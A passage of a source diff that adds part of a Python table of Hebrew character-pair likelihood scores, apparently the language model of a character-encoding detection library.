36: 1, # 'ֶ' + 31: 1, # 'ַ' + 29: 1, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 1, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 2, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 31: { # 'ַ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 0, # 'ַ' + 29: 2, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 2, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 29: { # 'ָ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 1, # 'ַ' + 29: 2, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 2, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 35: { # 'ֹ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 62: { # 'ֻ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 1, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 28: { # 'ּ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 3, # 'ְ' + 59: 0, # 'ֱ' + 41: 1, # 'ֲ' + 33: 3, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 3, # 'ַ' + 29: 3, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 2, # 'ׁ' + 45: 1, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 1, # 'ה' + 2: 2, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 1, # 'ם' + 6: 2, # 'מ' + 23: 1, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 38: { # 'ׁ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 2, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 45: { # 'ׂ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 2, # 'ֶ' + 31: 1, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 2, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 0, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 9: { # 'א' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 2, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 2, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 8: { # 'ב' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 3, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 1, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 20: { # 'ג' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 2, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 1, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 16: { # 'ד' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 1, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 3: { # 'ה' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 1, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 3, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 0, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 2: { # 'ו' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 3, # 'ֹ' + 62: 0, # 'ֻ' + 28: 3, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 3, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 24: { # 'ז' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 1, # 'ֲ' + 33: 1, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 1, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 14: { # 'ח' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 1, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 1, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 22: { # 'ט' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 1, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 1, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 3, # 'ר' + 10: 2, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 1: { # 'י' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 3, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 25: { # 'ך' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 2, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 